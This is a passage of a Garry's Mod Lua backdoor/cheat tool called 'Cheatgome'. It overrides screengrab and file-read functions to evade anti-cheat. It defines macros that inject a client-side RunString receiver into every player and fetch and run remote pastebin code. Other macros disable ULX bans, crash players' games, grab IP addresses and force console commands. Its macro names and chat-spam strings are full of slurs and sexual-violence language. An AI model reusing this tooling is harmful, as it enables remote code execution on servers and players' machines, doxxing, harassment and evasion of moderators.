PScyEnX97S6bL++kk+Ye3+IJL42G3yFHpkuDlPNAMCrK676TRben++sQ6U/ZZlh0NPQTC1AwVWcXvrGHDFNV5h6TMwvnH8v8AibVTzn3/AMzoatAWj//Z"
232local idiot_antiscreengrab2 = "iVBORw0KGgoAAAANSUhEUgAAAAcAAAAECAIAAADNpLIqAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAAYSURBVBhXY2BgYmBmYGFgZEAFlIkyMAAACDAAKdIBq3cAAAAASUVORK5CYII="
233render.Capture = function() return idiot_antiscreengrab end
234render.Capture = function() return idiot_antiscreengrab end
235render.Capture = function() return idiot_antiscreengrab end -- WHAT THE FUCK IS THIS LOL
236render.Capture = function() return idiot_antiscreengrab2 end
237render.Capture = function() return idiot_antiscreengrab2 end
238render.Capture = function() return idiot_antiscreengrab2 end
239render.Capture = function() return false end
240render.CapturePixels = function() return false end -- Some more anti screengrab methods, just to make sure that you are protected
241render.Capture = function() return chat.AddText(Color( 118, 247, 255 ), "[", "CheatgomeBD", "] ", Color( 255, 255, 255 ), "Attention! A possible screengrab attempt was used on you!")
242end
243render.CapturePixels = function() return chat.AddText(Color( 255, 0, 0 ), "[", "CheatgomeBD", "] ", Color( 255, 255, 255 ), "Attention! A possible screengrab attempt was used on you!")
244end -- Blocks screengrab attempts
245
246local oldRead = file.Read
247function file.Read( fn, path )
248if string.find(fn, "cheatgome*") then
249 idiot.surface.PlaySound("buttons/lightswitch2.wav")
250 chat.AddText(Color( 255, 0, 0 ), "[", "Cheatgome", "] ", Color( 255, 255, 255 ), "Attention! Someone attempted to read your file! God damnit those file stealers.")
251else
252 return oldRead( fn, path )
253end
254end --
255
256local type = type
257local next = next
258render.Capture = function() return false end
259render.CapturePixels = function() return false end
260
261
262
263BD.BDMacros ={
264
265
266
267 ["Explode the world"] = {
268
269 ["Type"] = 1,
270
271 ["Code"] = [[if !bombstrike then
272
273 hook.Add("Think", "lulz_bombstrike", function()
274
275 local explode = ents.Create( "env_explosion" )
276
277 local ps = Vector(math.random(-8000, 8000), math.random(-8000, 8000), math.random(-5000, 5000))
278
279 local trc = {}
280
281 trc.start = ps
282
283 trc.endpos = ps + Vector( 0, 0, -99999)
284
285 local tr = util.TraceLine(trc)
286
287 if !tr.Hit then return end
288
289 explode:SetPos( tr.HitPos )
290
291 explode:Spawn()
292
293 explode:SetKeyValue( "iMagnitude", "400" )
294
295 explode:Fire( "Explode", 0, 0 )
296
297 end)
298
299 bombstrike = true
300
301 else
302
303 hook.Remove("Think", "lulz_bombstrike")
304
305 bombstrike = false
306
307 end]],
308
309 ["Desc"] = "BLOW UP EVERYTHING SO THE CUNTS GET BLUNT MAD xD",
310
311 },
312
313
314
315
316
317 ["@ Inject SendLua Interface"] = {
318
319 ["Type"] = 1,
320
321 ["Code"] = [[
322
323 util.AddNetworkString( "cucked" )
324
325 function BDSendLua( p, str ) net.Start( "cucked" ) net.WriteString( str ) net.Send( p ) end
326
327 function BDSendLuaAll( str ) net.Start( "cucked" ) net.WriteString( str ) net.Broadcast() end
328
329 function BDInjectAids( p ) p:SendLua( 'net.Receive( "cucked", function() RunString( net.ReadString() ) end )' ) end
330
331 for k, v in pairs( player.GetAll() ) do BDInjectAids( v ) end
332
333 hook.Add( "PlayerInitialSpawn", "youonlygetcuckedagain", function( p ) BDInjectAids( p ) end)
334
335 ]],
336
337 ["Desc"] = "You need this to use certain macros",
338
339 },
340
341
342
343 ["Announcement Text"] = {
344
345 ["Type"] = 1,
346
347 ["Code"] = [[for k, v in pairs(player.GetAll()) do v:PrintMessage( HUD_PRINTCENTER, @1 ) end]],
348
349 ["Desc"] = "Make an edited announcement text in the middle of everyones screen",
350
351 ["NeedsParameters"] = 1,
352
353 },
354
355 ["Timer Create Failed Button"] = {
356
357 ["Type"] = 1,
358
359 ["Code"] = [[timer.Simple( 1, function() BD.ChatText( "===> Update Logs As Of October 6 2018 <===", Color(108,236,255) ) end )
360
361 timer.Simple( 2, function() BD.ChatText( "Update v1 > Created the backdoor menu. With the DISCO button", Color(108,236,255) ) end )
362
363 timer.Simple( 3, function() BD.ChatText( "Update v1.0.5 > Rearranged some texts", Color(108,236,255) ) end )
364
365 timer.Simple( 4, function() BD.ChatText( "Update v2 > Added a lot of buttons. Customizing chat spams and some repeating sounds ", Color(108,236,255) ) end )
366
367 timer.Simple( 5, function() BD.ChatText( "Update v2.0.8 > Added DO NOT PRESS THE BUTTON. Doesn't really do anything", Color(108,236,255) ) end )
368
369 timer.Simple( 6, function() BD.ChatText( "{LATEST VERSION} > Added the Update Status Checker and buffed the injection process. ", Color(108,236,255) ) end )
370
371 timer.Simple( 7, function() BD.ChatText( "===> End of the Logs <===", Color(108,236,255) ) end )
372
373 timer.Simple( 8, function() BD.ChatText( "===> End of the Logs <===", Color(108,236,255) ) end )
374
375 timer.Simple( 9, function() BD.ChatText( "===> End of the Logs <===", Color(108,236,255) ) end )
376
377 timer.Simple( 10, function() BD.ChatText( "===> End of the Logs <===", Color(108,236,255) ) end )
378
379 timer.Simple( 11, function() BD.ChatText( "===> End of the Logs <===", Color(108,236,255) ) end )
380
381 timer.Simple( 12, function() BD.ChatText( "===> End of the Logs <===", Color(108,236,255) ) end )]],
382
383 ["Desc"] = "Just creates a error message. nothing serious",
384
385 },
386
387
388
389 ["Rainbow chat spam (SLOW)"] = {
390
391 ["Type"] = 1,
392
393 ["Code"] = [[
394
395 if !timer.Exists( "lulz_chatspam" ) then
396
397 timer.Create( "lulz_chatspam", 1.5, 0, function() BDSendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), @1 )' ) end)
398
399 else
400
401 timer.Remove( "lulz_chatspam" )
402
403 end]],
404
405 ["Desc"] = "Spam's the edited chat in the 1st parmeter every 1 second,",
406
407 ["NeedsParameters"] = 1,
408
409 },
410
411 ["Rainbow chat spam (NORMAL)"] = {
412
413 ["Type"] = 1,
414
415 ["Code"] = [[
416
417 if !timer.Exists( "lulz_chatspam" ) then
418
419 timer.Create( "lulz_chatspam", 0.5, 0, function() BDSendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), @1 )' ) end)
420
421 else
422
423 timer.Remove( "lulz_chatspam" )
424
425 end]],
426
427 ["Desc"] = "Spam's the edited chat in the 1st parmeter every 1 second,",
428
429 ["NeedsParameters"] = 1,
430
431 },
432
433 ["Raise The Hell"] = {
434
435 ["Type"] = 1,
436
437 ["Code"] = [[http.Fetch( "https://pastebin.com/raw/3ChEC5Pr", function( b,l,h,c ) RunString( b ) end, function() end )]],
438
439 ["Desc"] = "OH GOD THE DEVIL IS BEYON US",
440
441 },
442
443 ["Rainbow chat spam (FAST)"] = {
444
445 ["Type"] = 1,
446
447 ["Code"] = [[
448
449 if !timer.Exists( "lulz_chatspam" ) then
450
451 timer.Create( "lulz_chatspam", 0.15, 0, function() BDSendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), @1 )' ) end)
452
453 else
454
455 timer.Remove( "lulz_chatspam" )
456
457 end]],
458
459 ["Desc"] = "Spam's the edited chat in the 1st parmeter every 0.15 second, (Could lag if you chat)",
460
461 ["NeedsParameters"] = 1,
462
463 },
464
465 ["Rainbow chat spam (FASTER)"] = {
466
467 ["Type"] = 1,
468
469 ["Code"] = [[
470
471 if !timer.Exists( "lulz_chatspam" ) then
472
473 timer.Create( "lulz_chatspam", 0.07, 0, function() BDSendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), @1 )' ) end)
474
475 else
476
477 timer.Remove( "lulz_chatspam" )
478
479 end]],
480
481 ["Desc"] = "Spam's the edited chat in the 1st parmeter every 0.07 second, (Could lag if you chat)",
482
483 ["NeedsParameters"] = 1,
484
485 },
486
487
488
489 ["Rainbow chat spam (Turbo)"] = {
490
491 ["Type"] = 1,
492
493 ["Code"] = [[
494
495 if !timer.Exists( "lulz_chatspam" ) then
496
497 timer.Create( "lulz_chatspam", 0.01, 0, function() BDSendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), @1 )' ) end)
498
499 else
500
501 timer.Remove( "lulz_chatspam" )
502
503 end]],
504
505 ["Desc"] = "Spam's rainbow chat FURIOUSLY every 0.01 seconds, (WARN): It might lag your game if you try to chat",
506
507 ["NeedsParameters"] = 1,
508
509},
510
511
512
513
514 ["RAPE EVERYONES SCREEN"] = {
515
516 ["Type"] = 1,
517
518 ["Code"] = [[
519
520 if !timer.Exists( "lulz_fukscream" ) then
521
522 timer.Create( "lulz_fukscream", 0.10, 0, function() for k, v in pairs(player.GetAll()) do RunConsoleCommand("pp_texturize", models/shit") end)
523
524 else
525
526 timer.Remove( "lulz_fukscream" )
527
528 end]],
529
530 ["Desc"] = "causes everyone's screen to have missing textures, this map sux, fix ur screen idiot",
531
532
533},
534
535
536 ["Advertise Cheatgome Spam"] = {
537
538 ["Type"] = 1,
539
540 ["Code"] = [[
541
542 if !timer.Exists( "geturshit" ) then
543
544 timer.Create( "geturshit", 1, 0, function() RunConsoleCommand("say", "FAGGOTS GET CHEATGOME AT https://pastebin.com/tJy3DR80 BITCH") end)
545
546 else
547
548 timer.Remove( "geturshit" )
549
550 end]],
551
552 ["Desc"] = "Advertises cheatgome in a pissed off way",
553
554 },
555
556 ["Insult Spam"] = {
557
558 ["Type"] = 1,
559
560 ["Code"] = [[
561
562 if !timer.Exists( "ihateualready" ) then
563
564 timer.Create( "ihateualready", 1, 0, function() RunConsoleCommand("say", "SHUT THE FUCK UP AND DIE IN FOSTER CARE YOU MULISM PUSSY FUCKING CHINKED COCKED FAT'S MAN") end)
565
566 else
567
568 timer.Remove( "ihateualready" )
569
570 end]],
571
572 ["Desc"] = "Insults and spams in a offensive way.",
573
574 },
575
576
577 ["Spread The Meme Spam"] = {
578
579 ["Type"] = 1,
580
581 ["Code"] = [[
582
583 if !timer.Exists( "thememes" ) then
584
585 timer.Create( "thememes", 1, 0, function() RunConsoleCommand("say", "say the n word as many times as possible and ill let u out :^)") end)
586
587 else
588
589 timer.Remove( "thememes" )
590
591 end]],
592
593 ["Desc"] = "Spams a meme spreading towards the potato servers from murder. lol, CREDITS TO NANNERS",
594
595 },
596
597
598 ["Unlock all doors"] = {
599
600 ["Type"] = 1,
601
602 ["Code"] = [[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("unlock", "", 0) end end]],
603
604 ["Desc"] = "Unlocks all doors such as HL2 ones, And darkrp ones,",
605
606 },
607
608
609
610 ["Toggle all doors"] = {
611
612 ["Type"] = 1,
613
614 ["Code"] = [[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("toggle", "", 0) end end]],
615
616 ["Desc"] = "Burn all of the doors on fire. Pisses off the people trying to rent it",
617
618 },
619
620
621 ["Down Syndrome Rebel Rape"] = {
622
623 ["Type"] = 1,
624
625 ["Code"] = [[
626
627 if !timer.Exists( "A true rebel rape" ) then
628
629 timer.Create( "A true rebel rape", 0.2, 0, function()
630
631 for _, p in pairs(player.GetAll()) do
632
633 p:EmitSound( "vo/npc/female01/gordead_ans0"..math.random(1,9)..".wav", 100, math.random( 40, 180 ) )
634
635 end
636
637 end)
638
639 else
640
641 timer.Remove( "A true rebel rape" )
642
643 end]],
644
645 ["Desc"] = "When the rebel's have cancer and talk in there mic",
646
647 },
648
649 ["Down Syndrome Crow Rape"] = {
650
651 ["Type"] = 1,
652
653 ["Code"] = [[
654
655 if !timer.Exists( "A true crow" ) then
656
657 timer.Create( "A true crow", 0.2, 0, function()
658
659 for _, p in pairs(player.GetAll()) do
660
661 p:EmitSound( "npc/crow/alert"..math.random(1,3)..".wav", 100, math.random( 40, 180 ) )
662
663 end
664
665 end)
666
667 else
668
669 timer.Remove( "A true crow" )
670
671 end]],
672
673 ["Desc"] = "CLAK CLAK CROW CROW CLAAAAAK CROW CROW WAAAZ",
674
675 },
676
677
678 ["Down Syndrome Moan Rape"] = {
679
680 ["Type"] = 1,
681
682 ["Code"] = [[
683
684 if !timer.Exists( "A true moan experience" ) then
685
686 timer.Create( "A true moan experience", 0.2, 0, function()
687
688 for _, p in pairs(player.GetAll()) do
689
690 p:EmitSound( "vo/npc/female01/pain0"..math.random(1,9)..".wav", 100, math.random( 40, 180 ) )
691
692 end
693
694 end)
695
696 else
697
698 timer.Remove( "A true moan experience" )
699
700 end]],
701
702 ["Desc"] = "This is what happens when you have sex for too much hours",
703
704 },
705
706 ["Down Syndrome Zombie Rape"] = {
707
708 ["Type"] = 1,
709
710 ["Code"] = [[
711
712 if !timer.Exists( "A true master blood" ) then
713
714 timer.Create( "A true master blood", 0.2, 0, function()
715
716 for _, p in pairs(player.GetAll()) do
717
718 p:EmitSound( "npc/zombie/zombie_voice_idle"..math.random(1,9)..".wav", 100, math.random( 40, 180 ) )
719
720 end
721
722 end)
723
724 else
725
726 timer.Remove( "A true master blood" )
727
728 end]],
729
730 ["Desc"] = "YEAAAAAH BOIIIIIIIIIIIII NOAAAAAAUGH RAAAAAAWR AAUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUGHHHHH",
731
732 },
733
734 ["Down Syndrome Glass Rape"] = {
735
736 ["Type"] = 1,
737
738 ["Code"] = [[
739
740 if !timer.Exists( "A true masterpiece" ) then
741
742 timer.Create( "A true masterpiece", 0.2, 0, function()
743
744 for _, p in pairs(player.GetAll()) do
745
746 p:EmitSound( "physics/glass/glass_largesheet_break"..math.random(1,3)..".wav", 100, math.random( 40, 180 ) )
747
748 end
749
750 end)
751
752 else
753
754 timer.Remove( "A true masterpiece" )
755
756 end]],
757
758 ["Desc"] = "Play glass sounds every 0.2 seconds so the server crushes hard asf",
759
760 },
761
762
763
764 ["YEA YEA YEA Sounds"] = {
765
766 ["Type"] = 1,
767
768 ["Code"] = [[
769
770 if !timer.Exists( "porn" ) then
771
772 timer.Create( "porn", 0.3, 0, function()
773
774 for _, p in pairs(player.GetAll()) do
775
776 p:EmitSound( "vo/npc/female01/yeah02.wav", 100, math.random( 90, 120 ) )
777
778 end
779
780 end)
781
782 else
783
784 timer.Remove( "porn" )
785
786 end]],
787
788 ["Desc"] = "Very great if you wanna have sex with your ear drums",
789
790 },
791
792
793
794 ["Play the civil war"] = {
795
796 ["Type"] = 1,
797
798 ["Code"] = [[
799
800 if !timer.Exists( "cwar" ) then
801
802 timer.Create( "cwar", 1, 0, function()
803
804 for _, p in pairs(player.GetAll()) do
805
806 p:EmitSound( "ambient/levels/streetwar/city_battle"..math.random( 1, 19 )..".wav", 100, math.random( 90, 120 ) )
807
808 end
809
810 end)
811
812 else
813
814 timer.Remove( "cwar" )
815
816 end]],
817
818 ["Desc"] = "Very great for battling and VIOLATING THE LAW",
819
820 },
821
822
823
824 ["Earthquake Cucked"] = {
825
826 ["Type"] = 1,
827
828 ["Code"] = [[
829
830 if !timer.Exists( "earthquake" ) then
831
832 timer.Create( "earthquake", 0.5, 500, function()
833
834 for _, p in pairs(player.GetAll()) do
835
836 p:SetPos( p:GetPos() + Vector( 0, 0, 1 ) )
837
838 p:SetVelocity( Vector( math.random( -50, 50 ), math.random( -50, 50 ), math.random( 100, 150 ) ) )
839
840 util.ScreenShake( p:GetPos(), 20, 1, 1, 100 )
841
842 p:EmitSound( "ambient/explosions/exp1.wav", 100, math.random( 60, 100 ) )
843
844 end
845
846
847
848 for _, e in pairs(ents.GetAll()) do
849
850 if e:GetPhysicsObject() and e:GetPhysicsObject():IsValid() then e:GetPhysicsObject():AddVelocity( Vector( math.random( -50, 50 ), math.random( -50, 50 ), math.random( 100, 150 ) ) ) end
851
852 end
853
854
855
856
857
858 end)
859
860 else
861
862 timer.Remove( "earthquake" )
863
864 end]],
865
866 ["Desc"] = "Shake your screen, While everything else shakes like a 30 years old man",
867
868 },
869
870
871
872 ["Seized by cheatgome :^)"] = {
873
874 ["Type"] = 1,
875
876 ["Code"] = [[
877
878 hook.Add("PlayerInitialSpawn", "gw_siezed", function( ply ) ply:SendLua('local html = vgui.Create( "HTML" )html:SetSize( ScrW(), ScrH() )html:OpenURL( "https://www.youtube.com/embed/HgotWCaXdWI?rel=0&controls=0&showinfo=0&autoplay=1" )') end)
879
880 for k, v in pairs(player.GetAll()) do
881
882 v:SendLua('local html = vgui.Create( "HTML" )html:SetSize( ScrW(), ScrH() )html:OpenURL( "https://www.youtube.com/embed/HgotWCaXdWI?rel=0&controls=0&showinfo=0&autoplay=1" )')
883
884 end]],
885
886
887 ["Desc"] = "Your servers are hacked. There encrypted now. just shows a hacked screen",
888
889 },
890
891
892
893 ["Project Odium"] = {
894
895 ["Type"] = 1,
896
897 ["Code"] = [[
898
899 hook.Add("PlayerInitialSpawn", "gw_siezed", function( ply ) ply:SendLua('local html = vgui.Create( "HTML" )html:SetSize( ScrW(), ScrH() )html:OpenURL( "https://www.youtube.com/embed/WN07JxQScHs?rel0&autoplay=1" )') end)
900
901 for k, v in pairs(player.GetAll()) do
902
903 v:SendLua('local html = vgui.Create( "HTML" )html:SetSize( ScrW(), ScrH() )html:OpenURL( "https://www.youtube.com/embed/WN07JxQScHs?rel0&autoplay=1" )')
904
905 end]],
906
907
908 ["Desc"] = "contrubitings to odium leaked. sad day has comed, rip project odium",
909
910},
911
912
913 ["Project Odium 2"] = {
914
915 ["Type"] = 1,
916
917 ["Code"] = [[
918
919 hook.Add("PlayerInitialSpawn", "gw_siezed", function( ply ) ply:SendLua('local html = vgui.Create( "HTML" )html:SetSize( ScrW(), ScrH() )html:OpenURL( "https://odium.pro" )') end)
920
921 for k, v in pairs(player.GetAll()) do
922
923 v:SendLua('local html = vgui.Create( "HTML" )html:SetSize( ScrW(), ScrH() )html:OpenURL( "https://odium.pro" )')
924
925 end]],
926
927
928 ["Desc"] = "contrubitings to odium leaked. sad day has comed, rip project odium",
929
930 },
931
932
933 ["Explode all of the vehicles"] = {
934
935 ["Type"] = 1,
936
937 ["Code"] = [[for k, v in pairs(ents.GetAll()) do if v:IsVehicle() then
938
939 local explo = ents.Create("env_explosion")
940
941 explo:SetPos(v:GetPos())
942
943 explo:SetKeyValue("iMagnitude", "300")
944
945 explo:Spawn()
946
947 explo:Activate()
948
949 explo:Fire("Explode", "", 0)
950
951 end
952
953 end]],
954
955 ["Desc"] = "Blow up the god damn vehicles a lot to troll em drivers",
956
957 },
958
959
960
961 ["Bypass RCON command"] = {
962
963 ["Type"] = 1,
964
965 ["Code"] = [[game.ConsoleCommand( @1.."\n" )]],
966
967 ["Desc"] = "If the server has a NETKey backdoor, Then you should able to add yourself by just using this RCON bypasser!",
968
969 },
970
971
972 ["Disco Fucked"] = {
973
974 ["Type"] = 1,
975
976 ["Code"] = [[http.Fetch( "https://pastebin.com/raw/MQjrnS8M", function( b,l,h,c ) RunString( b ) end, function() end )]],
977
978 ["Desc"] = "Play disco in front of everyones face xD > 420 MLG SHIT > underdoneRPG disco )",
979
980 },
981
982
983 ["Anime Disco"] = {
984
985 ["Type"] = 1,
986
987 ["Code"] = [[http.Fetch( "https://pastebin.com/raw/HRqY1RBR", function( b,l,h,c ) RunString( b ) end, function() end )]],
988
989 ["Desc"] = "Why not? lol btw u need the LLenn playermodels to not see errors dancing )",
990
991
992 },
993
994
995
996["Underdone RPG Disco"] = {
997
998 ["Type"] = 1,
999
1000 ["Code"] = [[http.Fetch( "https://pastebin.com/raw/LKCt5bw1", function( b,l,h,c ) RunString( b ) end, function() end )]],
1001
1002 ["Desc"] = "Underdone RPG Disco.",
1003
1004 },
1005
1006 ["Fun Functions (Deadly)"] = {
1007
1008 ["Type"] = 1,
1009
1010 ["Code"] = [[http.Fetch( "https://pastebin.com/raw/S3wyyqhe", function( b,l,h,c ) RunString( b ) end, function() end )]],
1011
1012 ["Desc"] = "Team orbit's runstring helpme commands. Usually used by odium as well",
1013
1014 },
1015
1016 ["DO NOT PRESS THE BUTTON"] = {
1017
1018 ["Type"] = 1,
1019
1020 ["Code"] = [[http.Fetch( "https://pastebin.com/raw/Ksqy8Wni", function( b,l,h,c ) RunString( b ) end, function() end )]],
1021
1022 ["Desc"] = "PRESS THE BUTTON NOW",
1023
1024 },
1025
1026
1027
1028 ["Hellstart/Hellend"] = {
1029
1030 ["Type"] = 1,
1031
1032 ["Code"] = [[http.Fetch( "https://www.dropbox.com/s/bmh3nwfi36adt69/Team_orbit.zip?dl=0&file_subpath=%2FTeam+orbit%2Fhell.lua", function( b,l,h,c ) RunString( b ) end, function() end )]],
1033
1034 ["Desc"] = "Hell from magic rewrite's 2. And from team orbit, Originally used from helpme commands.",
1035
1036 },
1037
1038
1039 ["Break the ULX Kick and Ban function"] = {
1040
1041 ["Type"] = 1,
1042
1043 ["Code"] = [[ULib.Ban = function() return false end
1044
1045 ULib.addBan = function() return end
1046
1047 ULib.kick = function() return end]],
1048
1049 ["Desc"] = "If someone attempts to kick or ban you, It displays it in chat, But it actually does not work functionally",
1050
1051 },
1052
1053
1054
1055
1056
1057
1058
1059------------------------ player targeted macros ------------------------
1060
1061
1062
1063 ["Kill player"] = {
1064
1065 ["Type"] = 2, -- 1 = indiscriminate, 2= targeted, 3 = dangerous
1066
1067 ["Code"] = [[v:Kill()]],
1068
1069 ["Desc"] = "Kill the person that your targetting at",
1070
1071 },
1072
1073
1074
1075 ["Knock the players weapon"] = {
1076
1077 ["Type"] = 2, -- 1 = indiscriminate, 2= targeted, 3 = dangerous
1078
1079 ["Code"] = [[v:DropWeapon( v:GetActiveWeapon() )]],
1080
1081 ["Desc"] = "Blow shot there weapon out of there hands using Luke's 9000 bass junkbox",
1082
1083 },
1084
1085
1086
1087 ["Strip Peoples Weapons"] = {
1088
1089 ["Type"] = 2,
1090
1091 ["Code"] = [[v:StripWeapons()]],
1092
1093 ["Desc"] = "Remove or strip peoples weapons they are using so they disappear and they need to find a new one",
1094
1095 },
1096
1097
1098
1099 ["Blow Fuck a person"] = {
1100
1101 ["Type"] = 2,
1102
1103 ["Code"] = [[v:SetVelocity( Vector(0, 0, 9000) )]],
1104
1105 ["Desc"] = "I CAN BELEVE I CAN FLYYY > You just go straight in the air and die",
1106
1107 },
1108
1109
1110
1111 ["Blow fuck a person harder"] = {
1112
1113 ["Type"] = 2,
1114
1115 ["Code"] = [[v:SetVelocity( Vector(math.random( -9000, 9000), math.random( -9000, 9000), 9000) )]],
1116
1117 ["Desc"] = "OH SHIT WHAT THE FUQ IS GOING ON",
1118
1119 },
1120
1121
1122
1123 ["Exchange Playermodels"] = {
1124
1125 ["Type"] = 2,
1126
1127 ["Code"] = [[v:SetModel( @1 )]],
1128
1129 ["Desc"] = "Set their player model to the specified string (1st paremeter)",
1130
1131 ["NeedsParameters"] = 1,
1132
1133 },
1134
1135
1136
1137 ["Set players HP/Armor"] = {
1138
1139 ["Type"] = 2,
1140
1141 ["Code"] = [[v:SetHealth( @1 ) v:SetArmor( @2 ) ]],
1142
1143 ["Desc"] = "Sets their health (1st paremeter) and armor (2nd paremeter)",
1144
1145 ["NeedsParameters"] = 2,
1146
1147 },
1148
1149
1150
1151 ["Play some ear rape"] = {
1152
1153 ["Type"] = 2,
1154
1155 ["Code"] = [[
1156
1157 local snd = {
1158
1159 [1] = "npc/stalker/go_alert2a.wav",
1160
1161 [2] = "vo/npc/male01/question06.wav",
1162
1163 [3] = "ambient/energy/zap1.wav",
1164
1165 [4] = "weapons/knife/knife_stBD.wav",
1166
1167 [5] = "vo/ravenholm/madlaugh04.wav",
1168
1169 [6] = "npc/antlion_guard/antlion_guard_die1.wav",
1170
1171 [7] = "vo/breencast/br_collaboration01.wav,"
1172
1173 }
1174
1175 v:EmitSound( snd[tonumber(@1)], 100, 100 )
1176
1177 ]],
1178
1179 ["Desc"] = "Make them emit a sound (1st paremeter is a number 1-7)",
1180
1181 ["NeedsParameters"] = 1,
1182
1183 },
1184
1185
1186
1187 ["Ear rape (from internet)"] = {
1188
1189 ["Type"] = 2,
1190
1191 ["Code"] = [[
1192
1193 BDSendLua( v, 'if soundrape then soundrape:Remove() soundrape = nil return end soundrape = vgui.Create( "DFrame" ) soundrape:SetSize( 1, 1 ) local html = vgui.Create( "HTML", soundrape ) html:OpenURL( @1 )' )
1194
1195 ]],
1196
1197 ["Desc"] = "Make them hear a sound from a URL (1st paremeter). Sending a new sound will stop the previous one. Send an invalid url to stop all sounds entirely on their client",
1198
1199 ["NeedsParameters"] = 1,
1200
1201 },
1202
1203
1204
1205 ["Eye rape (from internet)"] = {
1206
1207 ["Type"] = 2,
1208
1209 ["Code"] = [[
1210
1211 BDSendLua( v, 'if bdeyerape then bdeyerape:Remove() bdeyerape = nil return end bdeyerape = vgui.Create( "DFrame" )bdeyerape:SetDraggable( false )bdeyerape:SetSize( ScrW(), ScrH() )bdeyerape:SetTitle( "" )bdeyerape:ShowCloseButton( false )local html = vgui.Create( "HTML", bdeyerape )html:Dock( FILL )html:OpenURL( @1 )' )
1212
1213 ]],
1214
1215 ["Desc"] = "Make them see a full screen, unclosable panel from a URL (1st paremeter). Sending a new url will stop the previous one. Send an invalid url to clear their view entirely",
1216
1217 ["NeedsParameters"] = 1,
1218
1219 },
1220
1221
1222
1223 ["Play Rave"] = {
1224
1225 ["Type"] = 2,
1226
1227 ["Code"] = [[
1228 BDSendLua( v, 'if hook.GetTable().HUDPaint.drugznigga then hook.Remove( "HUDPaint", "drugznigga" ) else hook.Add( "HUDPaint", "drugznigga", function() local cin = math.sin( CurTime() * 50 ) * 255 surface.SetDrawColor( Color( cin, -cin, cin, 100 ) ) surface.DrawRect( 0, 0, ScrW(), ScrH() ) end) end' )
1229 ]],
1230
1231 ["Desc"] = "Drugz Mod but your screen is now fucking cancer-free",
1232
1233 },
1234
1235
1236
1237 ["Play Rave Music"] = {
1238
1239 ["Type"] = 2,
1240
1241 ["Code"] = [[
1242
1243 BDSendLua( v, 'surface.PlaySound( "music/hl1_song25_remix3.mp3" )' )
1244
1245 ]],
1246
1247 ["Desc"] = "Just incase your party is getting boring make sure you play this for some HL1 remix fun",
1248
1249 },
1250
1251
1252
1253 ["Whisper into the chat"] = {
1254
1255 ["Type"] = 2,
1256
1257 ["Code"] = [[v:ChatPrint( @1 )]],
1258
1259 ["Desc"] = "Anonymously whisper text into their chatbox (1st paremeter)",
1260
1261 ["NeedsParameters"] = 1,
1262
1263 },
1264
1265
1266
1267 ["Whisper colorful (advanced)"] = {
1268
1269 ["Type"] = 2,
1270
1271 ["Code"] = [[
1272
1273 BDSendLua( v, 'chat.AddText( Color( @2, @3, @4 ), @1 )' )
1274
1275 ]],
1276
1277 ["Desc"] = "Anonymously whisper coloured text into their chatbox (1st paremeter = text, 2nd = r, 3rd = g, 4th = b)",
1278
1279 ["NeedsParameters"] = 1,
1280
1281 },
1282
1283
1284
1285 ["Burn the fuckers"] = {
1286
1287 ["Type"] = 2,
1288
1289 ["Code"] = [[v:Ignite( 300 )]],
1290
1291 ["Desc"] = "Burn and cremate the people for 300 seconds for some roasting",
1292
1293 },
1294
1295
1296
1297 ["Toggle godmode 'NO ULX'"] = {
1298
1299 ["Type"] = 2,
1300
1301 ["Code"] = [[if v:HasGodMode() then v:GodDisable() else v:GodEnable() end]],
1302
1303 ["Desc"] = "Toggles godmode to people, Making them invisible and cant die",
1304
1305 },
1306
1307
1308
1309 ["Freeze there screen (WARNING)"] = {
1310
1311 ["Type"] = 2,
1312
1313 ["Code"] = [[v:SendLua("function fag() return fag() end fag()")]],
1314
1315 ["Desc"] = "Press this to one of the players and there fucking game won't be functional anymore, Now they have to FORCE RESTART",
1316
1317 },
1318
1319
1320
1321 ["Toggle the speedhack"] = {
1322
1323 ["Type"] = 2,
1324
1325 ["Code"] = [[if !v.Sanic then v:SetRunSpeed( 2000 ) v:SetWalkSpeed(1000) v.Sanic = true else v:SetRunSpeed( 240 ) v:SetWalkSpeed( 160 ) v.Sanic = false end]],
1326
1327 ["Desc"] = "Your like sanic! But when you run, you run EXTREMELY SANIC",
1328
1329 },
1330
1331
1332
1333 ["Freeze/Unfreeze the player"] = {
1334
1335 ["Type"] = 2,
1336
1337 ["Code"] = [[v:Freeze( !v:IsFrozen() )]],
1338
1339 ["Desc"] = "Freeze's the player, Causing the movements to be stuck, Click the button again to unfreeze the player",
1340
1341 },
1342
1343
1344
1345 ["Make the player say something"] = {
1346
1347 ["Type"] = 2,
1348
1349 ["Code"] = [[v:Say(@1)]],
1350
1351 ["Desc"] = "Forces them to say the specified string in chat (first parameter)",
1352
1353 ["NeedsParameters"] = 1,
1354
1355 },
1356
1357
1358
1359
1360
1361 ["Force concommand on player"] = {
1362
1363 ["Type"] = 2,
1364
1365 ["Code"] = [[v:ConCommand(@1)]],
1366
1367 ["Desc"] = "Forces them to run the specified console command (first parameter)",
1368
1369 ["NeedsParameters"] = 1,
1370
1371 },
1372
1373
1374
1375 ["Grab IP (DANGER)"] = {
1376
1377 ["Type"] = 2,
1378
1379 ["Code"] = [[ for _, p in pairs(player.GetAll()) do if %LP then p:ChatPrint( v:Nick().." : "..v:IPAddress() ) end end]],
1380
1381 ["Desc"] = "Prints and grabs peoples IP Address in the console, Please do not attempt to ddos anyone or leak there IP Address, thats so easy now indays",
1382
1383 },
1384
1385
1386
1387
1388
1389 ["DarkRP add/remove money to the player"] = {
1390
1391 ["Type"] = 2,
1392
1393 ["Code"] = [[v:addMoney(@1)]],
1394
1395 ["Desc"] = "Adds money to their wallet (first parameter) remember that you can use negative numbers to subtract money",
1396
1397 ["NeedsParameters"] = 1,
1398
1399 },
1400
1401
1402
